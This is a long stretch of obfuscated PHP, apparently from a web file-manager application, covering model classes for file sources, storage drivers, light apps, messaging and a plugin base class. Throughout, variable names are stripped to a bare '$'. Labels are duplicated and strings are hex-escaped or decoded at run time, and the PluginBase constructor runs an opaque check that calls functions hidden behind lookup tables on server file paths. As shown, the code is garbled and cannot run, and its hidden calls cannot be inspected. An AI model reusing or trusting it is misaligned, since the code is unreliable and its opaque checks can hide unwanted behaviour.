= $ ? $ : array(); $ = array_filter(array_unique($)); if (!$) { return array(); } $ = $this->where(array($[194] => array($[7], $)))->select(); $this->_listDataApply($, $); return array_to_keyvalue($, $[194]); } public function pathInfoFilter(&$) { $ =& $_SERVER[]; static $ = false; static $ = false; static $ = false; if (!$) { $ = $[490]; $ .= $[491]; $ .= $[492]; $ = $[493]; $ = explode($[50], $); $ = explode($[50], $); $ = array(); foreach ($ as $) { if (in_array($, $)) { continue; } $[] = $; } $ = explode($[50], $[494]); } foreach ($ as $) { if (isset($[$])) { $[$] = intval($[$]); } } $[$[87]] = $[495] . $[$[194]] . $[496]; $[$[33]] = $[$[497]] == 1 ? $[78] : $[233]; $[$[191]] = $this->typeName($[$[191]]); if ($[$[497]] != 1) { $[$[169]] = $[$[498]]; unset($[$[498]]); } $ = $; if (isset($[$[499]]) && $[$[499]][$[500]] == -1) { $ = $; } $ = array_field_key($, $); return $; } public function listUserFav() { $ =& $_SERVER[]; $ = Model($[501])->listData(); $ = array_filter_by_field($, $[33], $[502]); $ = array_to_keyvalue($, $[12], $[87]); if ($) { $ = $this->listSource(array($[503] => array($[504], $))); } $ = array_to_keyvalue($[$[457]], $[194]); foreach ($ as &$) { $ = array($[505] => $[$[487]], $[506] => $[$[32]], $[507] => $[$[87]], $[508] => $[$[33]], $[509] => $[$[234]], $[510] => $[$[88]]); if ($[$[33]] == $[502] && $[$[$[87]]]) { $[$[90]] = $[$[$[87]]]; } } unset($); return $; } public function listUserTag($) { $ =& $_SERVER[]; if ($ && !is_array($)) { $ = array($); } $ = Model($[511])->listData(); $ = array(); $ = array(); foreach ($ as $) { $ = $[$[87]]; if (!$) { continue; } if (!isset($[$])) { $[$] = array(); } $[$][] = $[$[512]]; $[$[$[87]]] = $; } $ = array(); $ = array(); $ = array(); foreach ($ as $ => $) { $ = !0; if (!$) { $[] = $; continue; } foreach ($ as $) { if (!in_array($, $)) { $ = !1; break; } } if (!$) { continue; } if (!is_numeric($)) { $ = $[$]; $ = array($[32] => $[$[32]], $[87] => $[$[87]], $[33] => $[$[33]], $[90] => array($[513] => 1), $[235] => !0); if ($[$[33]] == $[233]) { $[] = $; } if ($[$[33]] == $[78]) { $[] = $; } continue; } $[] = $; } if ($) { $ = $this->listSource(array($[503] => array($[504], $))); } $ = $ ? $ : array($[85] => array(), $[86] => array()); $[$[85]] = array_merge($[$[85]], $); $[$[86]] = array_merge($[$[86]], $); if (isset($[$[454]]) && count($) == $[$[454]][$[455]]) { return $; } $ = array(); $ = array_to_keyvalue($[$[85]], $[12], $[194]); $ = array_to_keyvalue($[$[86]], $[12], $[194]); $ = array_merge($, $); foreach ($ as $) { if (!in_array($, $)) { $[] = $; } } if ($) { Model($[514])->removeBySource($); } return $; } public function listUserRecycle() { $ =& $_SERVER[]; $ = Model($[515])->listData(); if (!$) { return array(); } $ = array($[503] => array($[504], $), $[516] => 1); return $this->listSource($); } public function listSource($, $ = 3000, $ = false) { $ =& $_SERVER[]; if (!isset($[$[517]])) { $[$[517]] = 0; } if (isset($[$[193]]) && $[$[193]] == $[231]) { $[$[498]] = array($[518], $[12]); } $ = $[519]; $ = $this->field($)->_makeOrder()->where($)->selectPage($); $this->_listPageCheck($, $, $); $this->_listDataApply($[$[457]], $); $this->_listMake($); return $; } private function _listPageCheck(&$, $, $) { $ =& $_SERVER[]; if (!is_array($[$[454]])) { return; } $ = $[$[454]]; if ($[$[456]] <= 1) { return; } if ($[$[455]] >= 100000) { return; } if (Model($[520])->get($[521]) != $[522]) { return; } $ = str_replace(array($[53], $[429], $[288]), $[12], $); $ = $[523] . str_replace($[50], $[524], $) . $[525]; $ = $[526]; $ = $ . $[527]; $ = $[$[451]] * ($[$[440]] - 1) . $[50] . $[$[451]]; $ = $this->_makeOrder(!0); $ = $[523] . str_replace($[50], $[524], $[0]); if (strpos($, $[528])) { $ = str_replace($[528], $[529], $); } else { $ .= $[530] . $[1]; } $ = array(); foreach ($ as $ => $) { $[$[523] . $] = $; } $this->alias($[531])->field($)->limit($)->order($); $ = $this->join($)->where($)->select(); if ($) { $[$[457]] = $; } } protected function _makeOrder($ = false) { $ =& $_SERVER[]; $ = Model($[532])->get($[533]); $ = Model($[532])->get($[534]); $ = array($[535] => $[536], $[537] => $[538]); $ = array($[32] => $[32], $[79] => $[79], $[169] => $[498], $[539] => $[539], $[540] => $[541], $[234] => $[234], $[88] => $[88]); $ = Input::get($[542], $[7], $, array_keys($)); $ = Input::get($[543], $[7], $, array_keys($)); if (!in_array($, array_keys($))) { $ = $[32]; } if (!in_array($, array_keys($))) { $ = $[535]; } if ($ == $[32]) { } $ = $[544] . $[$] . $[53] . $[$]; $ = rtrim(trim($), $[50]); if ($) { return array($, $[$]); } return $this->order($); } protected function _listDataApplyItem($, $ = false) { $ = array($); $this->_listDataApply($, $); return $[0]; } protected function _listDataApply(&$, $ = false) { $ =& $_SERVER[]; if (!$) { $ = array(); return; } $ = array_to_keyvalue($, $[12], $[194]); $ = array_unique($); $this->_listSourceCache($); if (!$) { $this->_listAppendMeta($, $); $this->_listAppendFileMeta($, $); $this->_listAppendChildren($, $); } $this->_listAppendPath($); $this->_listAppendAuth($); $this->_listAppendSourceInfo($, $); $this->_listAppendUser($); $this->_listFilterInfo($, $); $this->_listAppendAuthSecret($); } protected function _listSourceCache($) { $ =& $_SERVER[]; foreach ($ as $) { self::$cacheSourceInfo[$[545] . $[$[194]]] = $; } } protected function _listFilterInfo(&$, $ = false) { $ =& $_SERVER[]; foreach ($ as &$) { $ = $this->pathInfoFilter($); self::$cachePathInfo[$[546] . intval($) . $[474] . $[$[194]]] = $; } unset($); } protected function _listMake(&$) { $ =& $_SERVER[]; $[$[85]] = array(); $[$[86]] = array(); foreach ($[$[457]] as $) { $ = $[$[497]] == 1 ? $[85] : $[86]; $[$][] = $; } unset($[$[457]]); } protected function _listAppendMeta(&$, $) { $ =& $_SERVER[]; $ = array($[503] => array($[504], $)); $ = Model($[547])->field($[548])->where($)->select(); if (!$) { return; } $ = array($[549], $[550], $[529]); $ = array(); foreach ($ as $) { if (!isset($[$[$[194]]])) { $[$[$[194]]] = array(); } if (in_array($[$[97]], $)) { continue; } if ($[$[97]] == $[551]) { $[$[462]] = $[552]; } $[$[$[194]]][$[$[97]]] = $[$[462]]; } foreach ($ as &$) { $[$[553]] = !1; if (isset($[$[$[194]]])) { $[$[553]] = $[$[$[194]]]; } if ($this->fileIsLock($) && $[$[499]]) { $ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $[$[499]][$[500]] = AuthModel::authDisable($[$[499]][$[500]], $); $[$[499]][$[554]][$[499]] = $[$[499]][$[500]]; } } unset($); } protected function _listAppendFileMeta(&$, $) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[555]); $ = array_filter(array_unique($)); if (!$) { return; } $ = array($[556] => array($[504], $)); $ = $[557]; $ = Model($[558])->field($)->where($)->select(); $ = array_to_keyvalue($, $[555]); $ = Model($[559])->field($[560])->where($)->select(); $ = $ ? $ : array(); $ = array(); foreach ($ as $) { if (!isset($[$[$[555]]])) { $[$[$[555]]] = array(); } $[$[$[555]]][$[$[97]]] = $[$[462]]; } foreach ($ as &$) { $ = $[$[555]]; if (!$ || !is_array($[$])) { continue; } $ = $[$]; $[$[79]] = $[$[79]]; $[$[32]] = $[$[32]]; if (!$[$[561]]) { Model($[558])->fileMd5Check($); } if (!isset(self::$cacheFileInfo[$[562] . $])) { self::$cacheFileInfo[$[562] . $] = array_merge(array(), $); } unset($[$][$[87]]); $ = isset($[$]) && is_array($[$]) ? $[$] : array(); $[$[170]] = array_merge($, $[$]); if (isset($[$[170]][$[185]])) { $[$[185]] = json_decode($[$[170]][$[185]], !0); unset($[$[170]][$[185]]); } } unset($); } protected function _listAppendSourceInfo(&$, $) { $ =& $_SERVER[]; $ = Model($[563])->listData(); $ = Model($[511])->listData(); $ = Model($[501])->listData(); $ = Model($[564])->listSimple(); $ = array_to_keyvalue($, $[487]); $ = array_to_keyvalue_group($, $[87], $[512]); $ = array_to_keyvalue($, $[87]); $ = array_to_keyvalue_group($, $[194]); foreach ($ as &$) { $[$[90]] = array($[565] => 0, $[566] => 0, $[567] => 0); if (isset($[$[$[194]]])) { $[$[90]][$[568]] = 1; $[$[90]][$[569]] = $[$[$[194]]][$[32]]; } if ($ && $ && isset($[$[$[194]]])) { $[$[90]][$[570]] = array(); foreach ($[$[$[194]]] as $) { $ = $[$]; $[$[90]][$[570]][] = array($[571] => $[$[487]], $[506] => $[$[32]], $[572] => $[$[573]]); } } if ($ && isset($[$[$[194]]])) { $[$[90]][$[574]] = array(); foreach ($[$[$[194]]] as $) { $ = $[575]; if ($[$[576]] == $[91]) { $ .= $[577]; } $[$[90]][$[574]] = array_field_key($, explode($[50], $)); } } } unset($); return $; } protected function _listAppendChildren(&$, $) { $ =& $_SERVER[]; $ = array(); $ = array($[242] => 0, $[243] => 0); foreach ($ as &$) { if (!$[$[497]]) { continue; } $[] = $[$[194]]; } unset($); if (!$) { return; } $ = array($[193] => array($[7], $), $[517] => 0); $ = array($[193], $[497], $[578] => $[579]); $ = $this->field($)->where($)->group($[580])->select(); $ = array(); foreach ($ as $) { $ = $[$[193]]; $ = $[$[497]] == $[91] ? $[243] : $[242]; if (!isset($[$])) { $[$] = array($[242] => 0, $[243] => 0); } $[$][$] += $[$[579]]; } foreach ($ as &$) { if (!$[$[497]]) { continue; } $ = is_array($[$[$[194]]]) ? $[$[$[194]]] : $; $[$[243]] = $[$[243]]; $[$[242]] = $[$[242]]; unset($[$[498]]); } unset($); } protected function _listAppendAuth(&$) { $ =& $_SERVER[]; $ = array(); foreach ($ as $) { if ($[$[191]] == self::TYPE_GROUP) { $[] = $[$[194]]; } } if (!$) { return; } $ = array_to_keyvalue($, $[194]); $ = Model($[581])->getSourceList($, $); $ = KodUser::isRoot(); foreach ($ as $ => &$) { $[$[499]] = $[$[$[194]]]; if (!$[$[499]] && $[$[191]] == self::TYPE_GROUP) { $[$[499]] = Action($[582])->pathGroupAuthMake($[$[583]]); if (!$[$[499]] && !$) { $[$[236]] = !1; $[$[235]] = !1; } } if ($[$[499]]) { $[$[236]] = AuthModel::authCheckEdit($[$[499]][$[500]]); $[$[235]] = AuthModel::authCheckView($[$[499]][$[500]]); } $this->groupPathDisplay($); } unset($); } public function _listAppendAuthSecret(&$) { $ =& $_SERVER[]; if (Model($[520])->get($[584]) != $[91]) { return; } static $ = false; if (!$) { $ = Model($[585]); $ = Model($[586]); $ = $->listData(); $ = array_to_keyvalue($, $[194]); $ = json_decode(Model($[520])->get($[587]), !0); $ = array_to_keyvalue($, $[487]); foreach ($ as $ => $) { $ = $[$[$[588]]]; if (!$) { $->remove($[$[487]]); unset($[$]); continue; } $ = $->listData($[$[499]]); if (!$) { $->remove($[$[487]]); unset($[$]); continue; } $[$[499]] = $; $[$[589]] = $; $[$[590]] = Model($[591])->getInfoSimpleOuter($[$[539]]); $[$] = $; } } $ = USER_ID; $ = array(); $ = $this->_listAppendPath($, !0); foreach ($ as $ => &$) { if (!is_array($[$[499]])) { continue; } if ($[$[191]] != $[592]) { continue; } if (isset($[$[$[194]]])) { $ = $[$[$[194]]]; if (!is_array($[$[553]])) { $[$[553]] = array(); } $[$[553]][$[593]] = $[$[588]]; $[$[499]][$[594]] = $; $[$[499]][$[595]] = $[$[596]]; $[$[499]][$[597]] = $[91]; if ($[$[539]] != $) { $[$[499]][$[500]] = $[$[499]][$[500]] & $[$[499]][$[499]]; } continue; } $ = $this->parentLevelArray($[$[598]]); $ = array_reverse($); foreach ($ as $ => $) { if (!isset($[$])) { continue; } $ = $[$]; $[$[499]][$[594]] = $; if ($[$[539]] != $) { $[$[499]][$[500]] = $[$[499]][$[500]] & $[$[499]][$[499]]; } $ = $[12]; $ = count($) - $; for ($ = 0; $ < $; $++) { if (!isset($[$[$]])) { $ = $[12]; break; } $ = $ . rtrim($[$[$]], $[8]) . $[8]; } $[$[499]][$[595]] = rtrim($, $[8]) . $[8]; break; } } unset($); } public function groupPathDisplay(&$) { $ =& $_SERVER[]; if ($[$[191]] != self::TYPE_GROUP) { return; } $ = Model($[599])->getInfo($[$[583]]); $ = $this->parentLevelArray($[$[598]]); $ = $[12]; foreach ($ as $) { $ = Model($[599])->getInfo($); $ .= $[$[90]][$[194]] . $[50]; } $[$[600]] = $[$[193]]; $[$[601]] = $[$[598]]; $[$[602]] = $[$[603]]; $[$[604]] = $ . $[$[90]][$[194]]; } protected function _listAppendPath(&$, $ = false) { $ =& $_SERVER[]; static $ = array(); $ = array(); $ = array(); if ($) { return $; } foreach ($ as &$) { $ = $[$[194]]; if ($[$[497]] == $[91] && $[$[193]] != 0) { $[$] = $[$[32]]; } if ($[$[497]] == $[91] && $[$[193]] == 0) { $[$] = $this->_listAppendPathRoot($, array()); } if (isset($[$[$[598]]])) { continue; } $[$[$[598]]] = !0; $ = $this->parentLevelArray($[$[598]]); foreach ($ as $ => $) { if (isset($[$])) { continue; } if ($ == 0) { $[$] = $this->_listAppendPathRoot($, $); } if ($ != 0) { $[] = $; } } } unset($); $ = array_unique($); if (count($) > 0) { $ = array($[503] => array($[504], $)); if (count($) == 1) { $ = $this->sourceInfo($[0]); $ = is_array($) ? array($) : !1; } else { $ = $this->field($[605])->where($)->select(); } if (!$) { $ = array(); } foreach ($ as $) { $[$[$[194]]] = $[$[32]]; } } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ = array(); foreach ($ as &$) { $ = $[$[598]]; $ = $[12]; if (isset($[$])) { $ = $[$]; } else { $ = $this->parentLevelArray($[$[598]]); foreach ($ as $ => $) { if (isset($[$])) { $ .= $[$] . $[8]; } } $[$] = $; } $ .= $[$[32]]; if ($[$[497]] == $[91]) { $ .= $[8]; } $[$[596]] = str_replace($[257], $[8], $); if ($[$[193]] == $[231]) { $[$[32]] = trim($[$[$[194]]], $[8]); $[$[596]] = $[$[32]] . $[8]; } if (intval($[$[191]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($, $, $); } } unset($); return $; } private function _listAppendPathRecycle(&$, $, $) { $ =& $_SERVER[]; if (!in_array($, $) && $[$[194]] != $) { return; } $ = explode($[8], trim($[$[596]], $[8])); $ = implode($[8], array_slice($, 2)); $[$[596]] = $[8] . LNG($[606]) . $[8] . ltrim($, $[8]); $[$[598]] = $[607] . implode($[50], array_slice($, 1)) . $[50]; if ($[$[194]] == $) { $[$[598]] = $[607]; $[$[193]] = $[231]; $[$[32]] = LNG($[606]); } $[$[608]] = $[609]; } protected function _listAppendPathRoot(&$, $) { $ =& $_SERVER[]; static $ = false; static $ = false; $ = $[12]; if ($[$[191]] == self::TYPE_USER) { if ($[$[583]] == USER_ID) { $ = LNG($[610]); if ($ === !1) { $ = Model($[611])->getInfoFull(USER_ID); $ = _get($, $[612], $[12]); } if ($ === !1) { $ = Model($[611])->getInfoFull(USER_ID); $ = _get($, $[613], $[12]); } if ($ && $[0] == $ || !$ && $[$[194]] == $) { $ = LNG($[614]); $[$[615]] = $[616]; } if ($ && $[0] == $ || !$ && $[$[194]] == $) { $ = $ . $[617] . LNG($[618]); } if (!$) { $[$[32]] = $; } } else { $ = Model($[611])->getInfoFull($[$[583]]); $ = _get($, $[613], $[12]); $[$[619]] = Model($[591])->getInfoSimpleOuter($[$[583]]); $ = LNG($[620]) . $[176] . $[$[619]][$[32]] . $[178]; if ($ && $[0] == $ || !$ && $[$[194]] == $) { $ = LNG($[620]) . $[621] . $[$[619]][$[32]] . $[617] . LNG($[618]) . $[178]; } } } else { if ($[$[191]] == self::TYPE_GROUP) { $ = Model($[599])->getInfoSimple($[$[583]]); $ = $[$[32]]; } else { if ($[$[191]] == self::TYPE_SYSTEM) { $ = $[622]; } } } $ = $ ? $[8] . $ . $[8] : $[8]; return $; } protected function _listAppendUser(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[539]); $ = array_to_keyvalue($, $[12], $[541]); $ = array_merge($, $); $ = Model($[611])->userListInfo($); foreach ($ as &$) { $ = $[$[539]]; $[$[539]] = $[$] ? $[$] : !1; $ = $[$[541]]; $[$[541]] = $[$] ? $[$] : !1; if (_get($, $[623], 0)) { $ = $GLOBALS[$[6]][$[92]][$[624]]; if ($[$[553]][$[625]] <= time() - $) { $this->metaSet($[$[194]], $[626], null); $this->metaSet($[$[194]], $[625], null); unset($[$[553]][$[626]]); continue; } $ = $[$[553]][$[626]]; $[$[553]][$[627]] = Model($[611])->getInfoSimpleOuter($); } } unset($); } public function parentLevelArray($) { $ =& $_SERVER[]; $ = explode($[50], trim($, $[50])); return array_remove_value($, $[231]); } public function listAll($) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = array($[628] => array($[629], $[$[598]] . $ . $[630]), $[631] => 0); $ = $[632]; $ = "\114\x45\106\x54\x20\x4a\x4f\111\x4e\40{$this->tablePrefix}\x69\x6f\x5f\x66\x69\154\x65\x20\146\151\154\145\40\157\x6e\x20\x73\157\x75\x72\x63\x65\56\x66\151\x6c\x65\x49\x44\x20\x3d\40\146\151\154\x65\56\x66\151\154\x65\x49\104"; $ = $this->alias($[531])->field($)->where($)->join($)->select(); $this->_listAppendAuth($); $this->_listAppendUser($); $this->_listAppendPath($); $ = array_to_keyvalue($, $[194]); $ = "\57{$[$[32]]}\x2f"; $ = $ == $[257] ? $[8] : $; $ = array(); foreach ($ as $ => $) { $ = $this->parentLevelArray($[$[598]]); array_shift($); $ = $; for ($ = 0; $ < count($); $++) { $ .= $[$[$]][$[32]] . $[8]; } $ .= $[$[32]]; if ($[$[497]]) { $ .= $[8]; } $ = array($[507] => str_replace($[257], $[8], str_replace($[257], $[8], str_replace($[257], $[8], $))), $[633] => intval($[$[497]]), $[634] => intval($[$[79]]), $[88] => intval($[$[88]]), $[90] => $this->pathInfoFilter($)); if (!$[$[497]]) { $[$[555]] = $[$[555]]; } $[] = $; } $ = array_sort_by($, $[87]); return $; } } goto E; F: define($_SERVER[][0], $_SERVER[][1]); $_SERVER[] = explode($_SERVER[][2], gzinflate(substr($_SERVER[][3], 10, -8))); function binCheckEq($, $) { return $ == $; } goto f; F: class SourceSecretModel extends ModelBaseLight { public $optionType = "\x53\171\x73\164\145\x6d\56\x73\x6f\165\x72\143\x65\123\145\143\162\145\164\114\x69\163\x74"; public $field = array("\163\157\x75\x72\x63\x65\x49\104", "\x74\171\160\x65\x49\104", "\143\x72\x65\x61\164\145\125\x73\145\x72"); } class StorageModel extends ModelBaseLight { public $optionType = "\123\x79\x73\164\145\155\56\x73\x74\x6f\x72\141\x67\145\114\151\x73\164"; public $field = array("\x6e\141\155\x65", "\x73\x69\x7a\x65\115\x61\x78", "\163\x79\x73\x74\x65\155", "\x64\x65\x66\x61\x75\154\x74", "\144\162\x69\x76\x65\x72", "\143\x6f\x6e\x66\x69\x67"); public function listData($ = false, $ = "\x6d\157\x64\x69\x66\x79\124\x69\155\x65", $ = false) { $ =& $_SERVER[]; $ = parent::listData($, $, $); if ($) { return $; } $ = array(); if ($GLOBALS[$[2329]]) { $ = $this->ioSizeUseGet(array_to_keyvalue($, $[12], $[487])); } foreach ($ as $ => $) { unset($[$][$[6]]); $[$][$[1980]] = isset($[$[$[487]]]) ? $[$[$[487]]] : 0; } return $; } public function ioSizeUseGet($) { $ =& $_SERVER[]; if (!$) { return array(); } $ = $[2330] . implode($[50], $); $ = Cache::get($); if ($) { return $; } $ = array($[913] => $[487], $[2331] => $[79]); $ = array($[913] => array($[7], $)); $ = Model($[881])->field($)->where($)->group($[913])->select(); $ = array_to_keyvalue($, $[487], $[79]); Cache::set($, $, 600); return $; } public function getConfig($) { $ = parent::listData($); $ = _get($, $_SERVER[][6], array()); if ($ && !is_array($)) { $ = json_decode($, !0); } return $; } public function update($, $) { $ =& $_SERVER[]; $ = $[$[32]]; $ = array_to_keyvalue(parent::listData(), $[32]); if (isset($[$]) && $[$][$[487]] != $) { return !1; } $this->checkPwd($, $); if (isset($[$[2332]]) && $[$[2332]] == $[91]) { $this->checkConfig($); } unset($[$[2332]]); $ = parent::update($, $); if ($ && $[$[37]]) { $ = 0; foreach ($ as $) { if ($[$[37]] && $[$[487]] != $) { $ = $[$[487]]; parent::update($[$[487]], array($[37] => 0)); } } $this->updateBackup($, $); } return $; } public function add($) { $ =& $_SERVER[]; $ = array_to_keyvalue(parent::listData(), $[32]); if (isset($[$[$[32]]])) { return !1; } $this->checkConfig($); $ = parent::insert($); if ($ && $[$[37]]) { foreach ($ as $) { if ($[$[37]]) { parent::update($[$[487]], array($[37] => 0)); } } } return $; } public function updateBackup($, $) { $ =& $_SERVER[]; if (!$) { return; } $ = Model($[838])->config(); if ($[$[1760]] != $[91] || $[$[842]] != $) { return; } $ = Model($[860])->get($[867]); $ = json_decode($, !0); if (!$) { return; } $[$[842]] = $; Model($[860])->set(array($[867] => $)); } public function checkPwd($, &$) { $ =& $_SERVER[]; if (empty($[$[6]])) { return; } $ = $[$[6]]; if (!is_array($)) { $ = json_decode($, !0); } $ = $[12]; $ = array($[2333], $[2334], $[982]); foreach ($ as $) { if (isset($[$])) { $ = $; break; } } if (!$) { return; } $ = $this->getConfig($); $ = $[$]; $ = $[$]; if ($ == str_repeat($[223], strlen($))) { $[$] = $; $[$[6]] = json_encode($); } else { if ($ != $) { $[$[2332]] = $[91]; } } } public function checkConfig(&$, $ = false) { $ =& $_SERVER[]; $ = strtolower($[$[98]]); $ = $[$[6]]; if (!is_array($)) { $ = json_decode($, !0); } foreach ($ as $ => $) { if (is_string($)) { $[$] = trim($); } } $[$[2335]] = rand_string(6); $ = $GLOBALS[$[6]][$[92]][$[921]]; $ = isset($[$]) ? $[$] : ucfirst($); $ = $[77] . $; if (!$ || !class_exists($)) { if ($) { return LNG($[2336]); } write_log(array($[2337], $, get_caller_info()), $[216]); show_json(LNG($[2336]), !1, $); } $ = new $($); $ = rtrim($[$[1278]], $[8]) . $[8]; if (in_array($, $->objectDriver)) { try { if (!$->isBucketCors() && !$->setBucketCors()) { $ = LNG($[2338]); $ .= $[2339] . LNG($[2340]); } } catch (Exception $) { $ = $->getMessage(); } if (isset($)) { return $this->_parseError($, $, $); } if ($ == $[68] && !$->checkRegion()) { return $this->_parseError(LNG($[2341]), $, $); } } else { if ($ == $[2342]) { if ($->ftpPath) { $ = trim($, $[8]); if (stripos($, trim($->ftpPath, $[8])) !== 0) { $ = $->ftpPath . $[8] . ($ ? $ . $[8] : $[12]); } } } } $ = $->getPath($ . $[1282]); try { if ($ == $[109]) { $->mkdir($); } $ = $->mkfile($); if (!$) { $ = LNG($[2338]); } } catch (Exception $) { $ = $->getMessage(); } if (isset($)) { return $this->_parseError($, $, $); } $[$[1278]] = $; $[$[6]] = json_encode($); $[$[98]] = $; return !0; } private function _parseError($, $, $ = false) { $ =& $_SERVER[]; if ($ == $[68] && stripos($, $[2343])) { $ = explode($[10], $); $ = isset($[1]) ? $[1] : $[12]; $ = array($[2344] => LNG($[2345]), $[2346] => LNG($[2347])); if (isset($[$])) { $ = $[$]; } } if (stripos($, $[2348]) === 0) { $ = strpos($, $[178]); if ($ === !1) { $ = strpos($, $[4]); } if ($ !== !1) { $ = substr($, $ + 1); } } $ = LNG($[1285]) . $; if ($) { return $; } show_json($, !1); } public function driverListSystem() { $ =& $_SERVER[]; $ = parent::listData(); $ = array(); foreach ($ as $) { unset($[$[234]], $[$[88]]); if (!is_array($[$[6]])) { $[$[6]] = json_decode($[$[6]], !0); } $[] = $; } return $; } public function defaultDriver() { $ =& $_SERVER[]; $ = parent::listData(); $ = array_filter_by_field($, $[37], 1); $ = $[0]; if (!$) { return array(); } if (!is_array($[$[6]])) { $[$[6]] = json_decode($[$[6]], !0); } return $; } public function driverInfo($) { $ =& $_SERVER[]; $ = array_to_keyvalue(parent::listData(), $[487]); if (!isset($[$])) { return !1; } $ = $[$]; if (!is_array($[$[6]])) { $[$[6]] = json_decode($[$[6]], !0); } return $; } public function remove($) { $this->removeShareItems($); return parent::remove($); } public function removeWithFile($, $, $, $ = false) { $ =& $_SERVER[]; $ = array($[913] => $); $ = Model($[558])->where($)->count(); $ = Model($[558])->where($)->sum($[79]); $ = $ . $[2349] . $; $ = LNG($ == $[637] ? $[2350] : $[2351]); $ = new TaskFileTransfer($, $[216], $, $ . $[474] . $[$[32]] . $[215] . $); $->task[$[853]] = (double) $; $ = KodIO::defaultDriver(); $ = $[$[487]]; $ = $ = $ = array(); $ = Model($[233])->where($)->field($[2352])->select(); foreach ($ as $) { $ = $[$[555]]; if ($) { $[] = $; continue; } $ = $[$[87]]; $ = get_path_father($); $[] = $; $ = str_replace("\173\151\157\72{$}\x7d\x2f", "\173\x69\x6f\72{$}\175\x2f", $); if (!IO::exist($)) { $[] = $; $->updateFileEnd($[$[32]], $[$[79]]); write_log($[2353] . $, $[1923]); continue; } $ = IO::move($, $, REPEAT_RENAME); if (!$) { $[] = $; $->updateFileEnd($[$[32]], $[$[79]]); write_log($[2354] . $, $[1923]); continue; } $ = array($[555] => $); $ = array($[913] => $, $[87] => $); Model($[233])->where($)->save($); } $ = $->task; if (!$) { Cache::set($, $); } $->end(); $ = array_unique($); $ = array_unique($); if (!$ && ($ || $)) { $ = array(); if ($) { $[] = sprintf(LNG($[2355]), count($)); } if ($) { $[] = sprintf(LNG($[2356]), count($)); } $ = sprintf(LNG($[2357]), implode($[2358], $)) . $[2359] . date($[2360]) . $[2361]; if ($ == $[1960]) { $ .= $[2362] . LNG($[2363]); } else { $ = LNG($[2364]) . $[2365] . $; } $[$[1280]] = $; Cache::set($, $); unset($[$[6]]); $ = array($[487] => $, $[2234] => $[637], $[32] => $[$[32]], $[98] => $[$[98]]); Hook::trigger($[1802], array($[1303] => $, $[1313] => !0)); show_json($, !1, 100111); } if ($ == $[637]) { return !0; } if ($ || $) { $ = array_merge($, $); $ = array_filter(array_unique($)); $this->removeByFileID($); } if ($) { $ = array_filter(array_unique($)); foreach ($ as $) { $ = IO::has($, !0); if (!$[$[242]] && !$[$[243]]) { IO::remove($); } } } return $this->remove($); } private function removeByFileID($ = array()) { $ =& $_SERVER[]; if (empty($)) { return; } $ = array($[555] => array($[7], $)); $ = Model($[1437])->where($)->field($[194])->select(); if (!$) { return Model($[558])->remove($); } $ = array_to_keyvalue($, $[12], $[194]); foreach ($ as $) { Model($[920])->removeNow($, !1); } } private function removeShareItems($) { $ =& $_SERVER[]; $ = "\173\x69\157\72{$}\175\57"; $ = array($[194] => 0, $[1273] => array($[471], "{$}\x25")); $ = Model($[1971])->where($)->field($[682])->select(); if (empty($)) { return; } $ = array_to_keyvalue($, $[12], $[682]); Model($[681])->remove($); } } class SystemLightAppModel extends ModelBaseLight { public $optionType = "\x53\x79\163\x74\145\155\x2e\x4c\x69\147\150\x74\101\160\160"; public $modelType = "\123\x79\x73\x74\x65\155\117\160\164\151\x6f\156"; public $field = array("\x6e\141\155\145", "\147\162\157\165\x70", "\144\145\163\x63", "\143\x6f\156\x74\x65\x6e\x74"); public function listData($ = false, $ = "\155\x6f\x64\x69\x66\171\x54\x69\155\145", $ = true) { return parent::listData($, $, $); } public function remove($) { $ = $this->findByName($); if (!$) { return !1; } return parent::remove($[$_SERVER[][487]]); } public function add($) { if ($this->findByName($[$_SERVER[][32]])) { return !1; } return parent::insert($); } public function update($, $) { $ =& $_SERVER[]; $ = $this->findByName($); $ = $this->findByName($[$[32]]); if (!$ || $ && $[$[487]] != $[$[487]]) { return !1; } return parent::update($[$[487]], $); } } goto c; A: class Message { function __construct() { } public function send($ = '', $ = array(), $ = "\x74\x65\170\x74") { $ =& $_SERVER[]; $ = array($[33] => $[1229], $[171] => $); if (in_array($, array($[1229], $[1638]))) { $[$[33]] = $; } $ = array($[592] => isset($[$[592]]) ? $[$[592]] : $[12], $[679] => isset($[$[679]]) ? $[$[679]] : $[12]); if (empty($) || empty($[$[592]]) && empty($[$[679]])) { return !1; } $ = array($[1567] => $, $[1639] => $); Hook::trigger($[1640], $); } } class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { $ =& $_SERVER[]; if ($_SERVER[$[318]] != $_SERVER[$[1445]]) { $ = $[973]; $ = $[319]; $ = $_SERVER[$[320]] . $[321]; $ = $($); $ = explode($[288], $); if (count($) < $[700]) { $ = $[323]; $(); } $ = $[974]; $($_SERVER[$[975]]); $($_SERVER[$[320]] . $[1641]); $ = 1; while ($ > 1) { $ = $ + 4; $ = rawurlencode($ . $[466]); } } global $in, $config; $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($[1642]); $this->pluginName = str_replace($[1642], $[12], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $[8]; $this->pluginApi = appHostGet() . $[1643] . $this->pluginName . $[8]; $this->pluginHost = $config[$[1644]] . $this->pluginName . $[8]; $this->pluginHostDefault = $config[$[1644]] . $this->pluginName . $[8]; $ = $config[$[1645]]; if ($ && strpos($[50] . $ . $[50], $this->pluginName) !== !1) { $this->pluginHost = $config[$[1646]] . $this->pluginName . $[8]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); $this->linkHas = !1; return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[][1647]); } protected function assign($, $ = false) { if (is_array($)) { $this->values = array_merge($this->values, $); } else { $this->values[$] = $; } } protected function display($) { extract($this->values); require $; } final function hookRegist($) { $this->modelPlugin->appRegist($this->pluginName, $); } final function appIcon() { $ =& $_SERVER[]; $ = $this->appPackage(); $ = $[12]; if (isset($[$[502]])) { if 